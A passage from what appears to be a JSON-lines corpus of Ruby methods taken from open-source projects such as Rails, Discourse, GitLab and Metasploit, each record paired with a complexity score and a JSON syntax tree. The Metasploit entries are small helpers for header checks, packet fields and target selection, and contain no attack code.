doc.search(*BEM_CLASSES.keys.map(&:to_s)).each do |element|\n add_css_class(element, BEM_CLASSES[element.name]) unless not_to_be_modified?(element)\n end\n\n doc\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]},\"search\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BEM_CLASSES\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"not_to_be_modified?\",{\"type\":\"lvar\",\"children\":[\"element\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_css_class\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BEM_CLASSES\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"doc\"]}]}]}","id":"ca76120d-d588-4522-b587-fb2f2aa90888"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":659,"raw_source":"def new_results(options = {})\n # TODO does this make sense or should it be ordered on created_at\n # it is ordering on bumped_at now\n result =\n TopicQuery.new_filter(\n default_results(options.reverse_merge(unordered: true)),\n treat_as_new_topic_start_date: @user.user_option.treat_as_new_topic_start_date,\n )\n result = remove_muted(result, @user, options)\n result = remove_dismissed(result, @user)\n\n self.class.results_filter_callbacks.each do |filter_callback|\n result = filter_callback.call(:new, result, @user, options)\n end\n\n suggested_ordering(result, options)\n end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_results\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicQuery\"]},\"new_filter\",{\"type\":\"send\",\"children\":[null,\"default_results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reverse_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unordered\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"treat_as_new_topic_start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"user_option\"]},\"treat_as_new_topic_start_date\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"remove_muted\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"remove_dismissed\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"results_filter_callbacks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter_callback\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_callback\"]},\"call\",{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"suggested_ordering\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"ba0c9dac-1af0-408d-bc72-14cb35567f32"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order_merger.rb","start_line":35,"raw_source":"def find_matching_line_item(other_order_line_item)\n order.line_items.detect do |my_li|\n my_li.variant == other_order_line_item.variant &&\n Spree::Dependencies.cart_compare_line_items_service.constantize.new.call(order: order,\n line_item: my_li,\n options: other_order_line_item.serializable_hash).value\n end\n end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_matching_line_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_order_line_item\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"line_items\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_li\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_li\"]},\"variant\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_order_line_item\"]},\"variant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"cart_compare_line_items_service\"]},\"constantize\"]},\"new\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_item\"]},{\"type\":\"lvar\",\"children\":[\"my_li\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_order_line_item\"]},\"serializable_hash\"]}]}]}]},\"value\"]}]}]}]}","id":"4af264b1-bce6-4de4-8340-f1f338fe51d1"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/rendering.rb","start_line":11,"raw_source":"def initialize(original_config, lookup_context)\n original_config = original_config.original_config if original_config.respond_to?(:original_config)\n @original_config = original_config\n @lookup_context = lookup_context\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"original_config\"]},{\"type\":\"arg\",\"children\":[\"lookup_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_config\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"original_config\"]}]},{\"type\":\"lvasgn\",\"children\":[\"original_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_config\"]},\"original_config\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@original_config\",{\"type\":\"lvar\",\"children\":[\"original_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lookup_context\",{\"type\":\"lvar\",\"children\":[\"lookup_context\"]}]}]}]}","id":"6a1918e1-e646-498a-9ef2-1f4853d8a398"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_server.rb","start_line":80,"raw_source":"def v_availability\n host.try(:physical_server_id).nil? ? N_(\"Available\") : N_(\"In use\")\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"v_availability\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"try\",{\"type\":\"sym\",\"children\":[\"physical_server_id\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Available\"]}]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"In use\"]}]}]}]}","id":"973bae79-bc57-4d55-9123-f9fa078cb560"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/suppressed_exception_in_number_conversion.rb","start_line":82,"raw_source":"def on_rescue(node)\n if (method, exception_classes = begin_numeric_constructor_rescue_nil(node.parent))\n return unless expected_exception_classes_only?(exception_classes)\n\n node = node.parent\n else\n return unless (method = numeric_constructor_rescue_nil(node))\n end\n\n arguments = method.arguments.map(&:source) << 'exception: false'\n prefer = \"#{method.method_name}(#{arguments.join(', ')})\"\n prefer = \"#{method.receiver.source}#{method.loc.dot.source}#{prefer}\" if method.receiver\n\n add_offense(node, message: format(MSG, prefer: prefer)) do |corrector|\n corrector.replace(node, prefer)\n end\n end","complexity_score":37.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_rescue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\"]},{\"type\":\"lvasgn\",\"children\":[\"exception_classes\"]}]},{\"type\":\"send\",\"children\":[null,\"begin_numeric_constructor_rescue_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expected_exception_classes_only?\",{\"type\":\"lvar\",\"children\":[\"exception_classes\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[null,\"numeric_constructor_rescue_nil\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arguments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"arguments\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"exception: false\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"receiver\"]},{\"type\":\"lvasgn\",\"children\":[\"prefer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"receiver\"]},\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"loc\"]},\"dot\"]},\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefer\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefer\"]},{\"type\":\"lvar\",\"children\":[\"prefer\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"prefer\"]}]}]}]}]}","id":"3f6cda24-a8ad-42a9-969c-41e8f57e31f2"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/numericality.rb","start_line":72,"raw_source":"def parse_as_number(raw_value, precision, scale)\n if raw_value.is_a?(Float)\n parse_float(raw_value, precision, scale)\n elsif raw_value.is_a?(BigDecimal)\n round(raw_value, scale)\n elsif raw_value.is_a?(Numeric)\n raw_value\n elsif is_integer?(raw_value)\n raw_value.to_i\n elsif !is_hexadecimal_literal?(raw_value)\n parse_float(Kernel.Float(raw_value), precision, scale)\n end\n end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_as_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_value\"]},{\"type\":\"arg\",\"children\":[\"precision\"]},{\"type\":\"arg\",\"children\":[\"scale\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Float\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_float\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]},{\"type\":\"lvar\",\"children\":[\"precision\"]},{\"type\":\"lvar\",\"children\":[\"scale\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"BigDecimal\"]}]},{\"type\":\"send\",\"children\":[null,\"round\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]},{\"type\":\"lvar\",\"children\":[\"scale\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]},{\"type\":\"lvar\",\"children\":[\"raw_value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_integer?\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"to_i\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_hexadecimal_literal?\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"parse_float\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"Float\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]}]},{\"type\":\"lvar\",\"children\":[\"precision\"]},{\"type\":\"lvar\",\"children\":[\"scale\"]}]},null]}]}]}]}]}]}","id":"58ab055e-eee2-4205-afc6-1c6cfcf9d540"} {"repo_name":"forem","file_path":"./repos/forem/app/decorators/article_decorator.rb","start_line":123,"raw_source":"def pinned?\n return false unless persisted?\n\n id == PinnedArticle.id\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pinned?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PinnedArticle\"]},\"id\"]}]}]}]}","id":"d0d5cb43-5545-413b-8069-9b3973f71caf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_firepower_download.rb","start_line":128,"raw_source":"def remote_file_exists?(res)\n (\n res.headers['Content-Disposition'] &&\n res.headers['Content-Disposition'].match(/attachment; filename=/) &&\n res.headers['Content-Type'] &&\n res.headers['Content-Type'] == 'application/octet-stream'\n )\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_file_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"attachment; filename=\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]}]}","id":"fc7a51c8-985c-4f82-b09b-fe859cf25ad5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/packet.rb","start_line":693,"raw_source":"def has_tlv?(type)\n get_tlv(type) != nil\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_tlv?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_tlv\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]}","id":"3b40d5c0-d5eb-403f-955b-5de9b0284e02"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/project_filter.rb","start_line":44,"raw_source":"def available?\n visible_projects.exists?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible_projects\"]},\"exists?\"]}]}","id":"7c795b7c-911e-4e45-a8a0-b5ada46393a9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/local_exploit_suggester.rb","start_line":126,"raw_source":"def set_module_target(mod)\n session_platform = Msf::Module::Platform.find_platform(session.platform)\n target_index = mod.targets.find_index do |target|\n # If the target doesn't define its own compatible platforms or architectures, default to the parent (module) values.\n target_platforms = target.platform&.platforms || mod.platform.platforms\n target_architectures = target.arch || mod.arch\n\n target_platforms.include?(session_platform) && target_architectures.include?(session_arch)\n end\n mod.datastore['Target'] = target_index if target_index\n end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_module_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"find_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_index\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"targets\"]},\"find_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_platforms\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"platform\"]},\"platforms\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"platform\"]},\"platforms\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_architectures\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"arch\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_platforms\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"session_platform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_architectures\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"session_arch\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Target\"]},{\"type\":\"lvar\",\"children\":[\"target_index\"]}]},null]}]}]}","id":"e5661c24-3624-4fb2-85fe-6ce533d20794"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/csrf_helper.rb","start_line":22,"raw_source":"def csrf_meta_tags\n if defined?(protect_against_forgery?) && protect_against_forgery?\n [\n tag(\"meta\", name: \"csrf-param\", content: request_forgery_protection_token),\n tag(\"meta\", name: \"csrf-token\", content: form_authenticity_token)\n ].join(\"\\n\").html_safe\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"csrf_meta_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protect_against_forgery?\"]}]},{\"type\":\"send\",\"children\":[null,\"protect_against_forgery?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"str\",\"children\":[\"meta\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"csrf-param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"request_forgery_protection_token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"str\",\"children\":[\"meta\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"csrf-token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"form_authenticity_token\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"html_safe\"]},null]}]}","id":"bd9d777c-27a8-42d2-8ae6-0095dde0ecd8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":434,"raw_source":"def revert_description(user)\n if merged_merge_request?(user)\n \"This reverts merge request #{merged_merge_request(user).to_reference}\"\n else\n \"This reverts commit #{sha}\"\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"revert_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_merge_request?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This reverts merge request \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_merge_request\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"to_reference\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This reverts commit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sha\"]}]}]}]}]}","id":"76d1864e-4b27-491b-a88a-200f6ec4f179"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/context.rb","start_line":26,"raw_source":"def initialize(\n project: nil, pipeline: nil, sha: nil, user: nil, parent_pipeline: nil, variables: nil,\n pipeline_config: nil, logger: nil, pipeline_policy_context: nil, component_data: nil\n )\n @project = project\n @pipeline = pipeline\n @sha = sha\n @user = user\n @parent_pipeline = parent_pipeline\n @variables = variables || Ci::Variables::Collection.new\n @pipeline_config = pipeline_config\n @pipeline_policy_context = pipeline_policy_context\n @component_data = component_data || {}\n @expandset = []\n @parallel_requests = []\n @execution_deadline = 0\n @logger = logger || Gitlab::Ci::Pipeline::Logger.new(project: project)\n @max_includes = Gitlab::CurrentSettings.current_application_settings.ci_max_includes\n @max_total_yaml_size_bytes =\n Gitlab::CurrentSettings.current_application_settings.ci_max_total_yaml_size_bytes\n @total_file_size_in_bytes = 0\n yield self if block_given?\n end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"pipeline\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sha\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"parent_pipeline\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"variables\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"pipeline_config\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"logger\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"pipeline_policy_context\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"component_data\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sha\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent_pipeline\",{\"type\":\"lvar\",\"children\":[\"parent_pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@variables\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Variables\"]},\"Collection\"]},\"new\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline_config\",{\"type\":\"lvar\",\"children\":[\"pipeline_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline_policy_context\",{\"type\":\"lvar\",\"children\":[\"pipeline_policy_context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@component_data\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component_data\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@expandset\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@parallel_requests\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"c